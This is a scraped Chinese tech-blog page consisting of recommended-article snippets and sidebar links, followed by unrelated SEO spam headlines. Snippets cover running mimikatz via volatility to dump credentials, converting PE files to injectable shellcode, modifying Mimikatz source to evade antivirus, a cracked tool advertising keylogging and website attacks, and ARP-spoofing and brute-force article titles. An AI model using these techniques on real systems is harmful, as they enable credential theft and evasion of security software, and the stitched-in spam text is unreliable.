cpu:指定架构,如:nim cc -cpu amd64 , nim cc -cpu:arm。–cpu参数有:i386, m68k, alpha, powerpc, powerpc64, powerpc64el, sparc, vm, hppa, ia64, amd64, mips, mipsel, arm, arm64, js, nimvm, avr, msp430, sparc64, mips64, mips64el, riscv64, esp, wasm32。例如:nim c test.nim。
bin2hex.exe
07-01
将嵌入式bin固件转成hex固件。 用法:使用bin2hex.exe -help查询帮助信息 一般使用格式:bin2hex.exe infile.bin outfile.hex [load offset] [record length]
kali安装volatility及插件mimikatz
qq_73722777的博客
09-14 2952
vol.py --plugins=[plugins文件夹路径] -f [镜像文件路径] --profile=[操作系统] mimikatz。下载解压后拖入kali内,文件夹改名为volatility,终端cd进入文件夹。下载后拖入volatility/volatility/plugins/解压后拖入kali,使用cd进入文件夹内。下载mimikatz.py文件。2.安装volatility。下载文件distorm3。3.安装mimikatz。4.在终端中使用插件。kali安装pip2。
浅析Pe2shellcode
moresec的博客
01-15 982
x4D\x5A对应的是PE文件的魔术字段“MZ”,作者将MZ当成指令处理,CreateProcess底层函数MiVerifyImageHeader检测到文件没有某些字段便会抛出异常不去执行,这些字段就包括魔术字段,也就是说,作者很巧妙地让转成shellcode的文件仍然能当作正常的PE文件运行,这种手法让我想到了0x0C0C0C0C,既可以是地址也可以是opcode。前面就是对参数的处理,比如获取需要处理的原生pe路径,设置输出的shellcode路径,然后就是步入is_supporte_pe函数。
2013终结者2.2正式
12-11
最新版本。谢谢大家
2015终结者V3.0
08-07
小七论坛20更新的终结者V3.0。很好用
2014终结者2.2正式版(版本)
03-12
2014终结者2.2正式版(),功能强大,是一款非常好的效果好。
2013终结者2.2正式版(
09-20
2013终结者2 2正式版(
电容应用实践:从设计选型到寿命分析
01-12
开关电源的寿命很大程度受到电解电容的制约,而电解电容的寿命取决于其内核温升。本文从纹波电流计算、纹波电流实测、电解电容选型、温度测试方法、寿命估算等方面,对电解电容作了全面的分析。 纹波...
bin2hex-V2.0
09-11
这是个bin与hex文件互转小工具的源码,在vs2010环境下使用c语言编写,主要针对的是STM32系列ARM在keil下生成的2种格式固件程序的互相转换,希望对您有用。
pe_to_shellcode:将PE转换为Shellcode
05-09
pe_to_shellcode 转换PE,以便可以像普通shellcode一样将其注入。 (同时,输出文件仍然是有效的PE)。 同时支持32位和64位PE 作者: 和 客观的 该项目的目标是提供一种生成PE文件的可能性,该文件可以轻松完成注入。 它受Stephen Fewer的启发-但不同之处在于,使用pe2shc可以在编译后添加反射加载存根。 同样,以一种方式修改PE文件的头,使您可以从头开始执行注入的缓冲区-就像使用shellcode一样。 它将自动找到存根,并继续加载完整的PE。 建物 下载最新。 克隆 使用递归克隆将存储库与所有子模块一起获取: git clone --recursive https://github.com/hasherezade/pe_to_shellcode.git 如何使用它 使用pe2shc.exe转换您选择的PE: pe2shc.exe <pat
Bin2Hex.exe
03-20
很方便的十六进制转换工具,适合txt,xml,html,jpg甚至mp3等文件的转换。
BIN2HEX.zip_BIN2HEX.EXE_BIN2HEX.exe win7_bin2hex download_bin2he
07-14
二进制文件转换成十六进制文件的工具(超过64k)
2011终结破解版
11-19
键盘记录 压力测试 频幕 攻击网站 等功能 统统有 且稳定使用 内含教程
Mimikatz源码
LainWith的博客
01-04 4791
目录介绍环境准备处理报错生成32位生成64位下载360、360毒直接查关键字替换-失败去除注释,修改版本信息删除注释信息替换图标修改版本信息重新编译文件过软360家族腾讯电脑管家火绒在线查参考 学习一下月师傅的文章 介绍 Mimikatz是一款能够从Windows认证(LSASS)的进程中获取内存,并且获取明文密码和NTLM哈希值的工具,攻击者可以借此漫游内网。也可以通过明文密码或者传递hash值来提权。因为这款工具特别出名所以被查的机率很大,我们可以通过github上的开源代码对其进行源码
Mimikatz Windows、Linux基本使用
weixin_51741741的博客
12-02 4708
一款密码抓取抓取神器,除了抓取密码之外,听说还可以导出谷歌浏览器的密码,当然第二种我也不会。
查看任何文件的二进制码--这有何难?用C开发查看HEX字节码的工具,兼论命令行程序开发方法
邵玉斌的专栏
10-06 8094
目的-用C开发查看HEX字节码的工具 在windows下,要看一个文本文件的内容,可用”记事本“即可,用type file.txt 也可在命令窗显示文件内容。但是– 如果要看一个二进制文件的内部字节码,用什么工具? 你会说,有很多工具呢!例如HexViewer,百度一查一大堆!还有著名的UltraEdit直接有HEX编辑模式,在Notepad++里,下载HEX Editor插件也可完成。例如,用U...
写一篇1000字的年终终结
09-13
### 回答1: 在这个年终之际,我们不得不回顾过去一年的所作所为,总结这一年的收获和教训。 这一年里,我们虽然遇到了许多挑战和困难,但我们也取得了很大的进步和成就。我们学习了新的知识和技能,扩展了我们的视野,增强了我们的实力。我们也在工作中发挥了自己的才华,贡献了自己的力量,为公司的发展作出了贡献。 在这一年里,我们也遇到了许多挑战和困难。我们的工作压力增大,生活节奏加快,家庭和工作之间的平衡更难做到。我们也遇到了许多不可预见的困难,如疫情、天气灾害等。但我们也学会了在困难面前保持坚持和勇敢,学会了应对各种挑战。 在这一年里,我们还有很多可以改进的地方。我们可能有时没有做到有效地利用时间,有时会忽视自己的身心健康。我们也许有时会因为过于执着或固执而错失机会,有时会因为焦虑和担忧而陷入困境。但我们要相信,这些都是我们成长的过程,是我们走向更 ### 回答2: 尊敬的读者们: 在这辞旧迎新的时刻,我要回顾过去一年的成就和经历,同时也要对未来做出展望和规划。 回顾过去一年,我经历了许多挑战和机遇。无论是在学业上还是在个人生活中,我都付出了巨大的努力,收获了一定的成果。在学业方面,我努力学习各门课程,提高了自己的专业素养,并在某些领域取得了突破性的进展。同时,我也积极参加社会实践活动,拓宽了自己的视野,锻炼了自己的社会交往能力。 在个人生活中,我充分利用业余时间,培养了一些兴趣爱好,如读书、运动等。这些活动不仅让我放松身心,还让我更好地发掘了自己的潜力和能力。此外,我也开始注重身心健康,更加关注饮食和锻炼,保持了良好的生活习惯。 展望未来,我将继续保持积极的向前态度,进一步发展自己的个人能力和素质。首先,我将继续努力学习,提高自己的专业水平,并在某些方向上深入研究。其次,我将寻找更多的实践机会,加强自己的实践能力和团队合作精神。同时,我也将继续培养兴趣爱好,丰富自己的生活,并不断追求个人成长和完善。 无论是过去的成就还是未来的期许,都离不开身边的朋友和家人的支持和帮助。在此向他们表示由衷的感谢,并承诺将来努力回报他们的关爱和支持。 最后,我相信只要保持一颗积极向上的心态,勇敢面对各种困难和挑战,我们都可以在新的一年中取得更大的成功和成就。 谢谢大家! 题目探讨: 本文旨在回顾过去一年的成就和经历,并对未来做出展望和规划。通过本文,作者充分展示了自己在学业和个人生活中所付出的努力,并取得的一些成果。同时,作者也表示在未来将继续努力学习和发展个人能力,并注重身心健康和培养兴趣爱好。最后,作者感谢身边人的支持和帮助,并表示将来会回报他们的关爱和支持。 关键词:终结、成就、经历、展望、规划、学业、个人生活、努力、成果、专业水平、实践能力、团队合作、兴趣爱好、感谢、支持。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
写文章

热门文章

  • kali如何手动打开22端口 6670
  • windows的139端口和445端口有什么区别 4391
  • 渗透测试之小白的常见web漏洞总结(下) 4239
  • 远控免杀从入门到实践 (11) 终结篇 4223
  • 红蓝对抗中的近源渗透 4160

分类专栏

  • 安全漏洞 3篇
  • 漏洞利用 8篇
  • 漏洞总结 2篇
  • Linux 4篇
  • kali 11篇
  • 信息收集 3篇
  • 分析 3篇
  • 原理 3篇
  • 绕过 4篇
  • 文件上传 2篇
  • 日志分析 1篇
  • 应急响应 2篇
  • windows 1篇
  • xss 3篇
  • sql 1篇
  • 发布序列号 1篇
  • csp策略 1篇
  • 代码审计 1篇
  • 远程代码执行 1篇
  • scp 1篇
  • whatweb 1篇
  • burp 1篇
  • 免杀 1篇
  • 攻击 2篇
  • 命令 5篇
  • 隧道技术
  • sql注入 1篇
  • 隧道

最新评论

  • IIS写入漏洞利用工具解析

    m0_64603281: 工具在哪下载

  • kali如何手动打开22端口

    西柚小萌新: 您好我想请问23其他端口如何打开,防火墙命令不好使

  • hfish 集群蜜罐搭建

    cynbh: 下载链接不存在

最新文章

  • hydra、ncrack、patator、Metasploit 和 Medusa,爆破:telnet、SMTP、SMB、FTP、
  • 利用ettercap进行简单的arp欺骗和mitm攻击
  • 局域网arp攻击,获取对方浏览网页
2021年20篇
2020年38篇

目录

目录

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值

聚圣源猪孩子起名用字长岭门业双胞胎姐妹起什么名字海运公司起名蓝起名字好听西安起名公司清平乐村居注音版装饰公司起名字十根烤肠是什么梗网络测试软件做梦被狗咬网络名起什么好听起名周林写给牛宝宝起名字bt天堂在线美团券吴伟业11hhdd孙姓婴儿起名大全男孩对领导班子的意见和建议我和x先生第二季不锈钢公司起名三字五人组合起什么名字好安心食材帝国精华采样怎么做聂姓女孩取名起名大全雪字怎么起名好听校园环境我的战车生肖猪起名字喜用字淀粉肠小王子日销售额涨超10倍罗斯否认插足凯特王妃婚姻让美丽中国“从细节出发”清明节放假3天调休1天男孩疑遭霸凌 家长讨说法被踢出群国产伟哥去年销售近13亿网友建议重庆地铁不准乘客携带菜筐雅江山火三名扑火人员牺牲系谣言代拍被何赛飞拿着魔杖追着打月嫂回应掌掴婴儿是在赶虫子山西高速一大巴发生事故 已致13死高中生被打伤下体休学 邯郸通报李梦为奥运任务婉拒WNBA邀请19岁小伙救下5人后溺亡 多方发声王树国3次鞠躬告别西交大师生单亲妈妈陷入热恋 14岁儿子报警315晚会后胖东来又人满为患了倪萍分享减重40斤方法王楚钦登顶三项第一今日春分两大学生合买彩票中奖一人不认账张家界的山上“长”满了韩国人?周杰伦一审败诉网易房客欠租失踪 房东直发愁男子持台球杆殴打2名女店员被抓男子被猫抓伤后确诊“猫抓病”“重生之我在北大当嫡校长”槽头肉企业被曝光前生意红火男孩8年未见母亲被告知被遗忘恒大被罚41.75亿到底怎么缴网友洛杉矶偶遇贾玲杨倩无缘巴黎奥运张立群任西安交通大学校长黑马情侣提车了西双版纳热带植物园回应蜉蝣大爆发妈妈回应孩子在校撞护栏坠楼考生莫言也上北大硕士复试名单了韩国首次吊销离岗医生执照奥巴马现身唐宁街 黑色着装引猜测沈阳一轿车冲入人行道致3死2伤阿根廷将发行1万与2万面值的纸币外国人感慨凌晨的中国很安全男子被流浪猫绊倒 投喂者赔24万手机成瘾是影响睡眠质量重要因素春分“立蛋”成功率更高?胖东来员工每周单休无小长假“开封王婆”爆火:促成四五十对专家建议不必谈骨泥色变浙江一高校内汽车冲撞行人 多人受伤许家印被限制高消费

聚圣源 XML地图 TXT地图 虚拟主机 SEO 网站制作 网站优化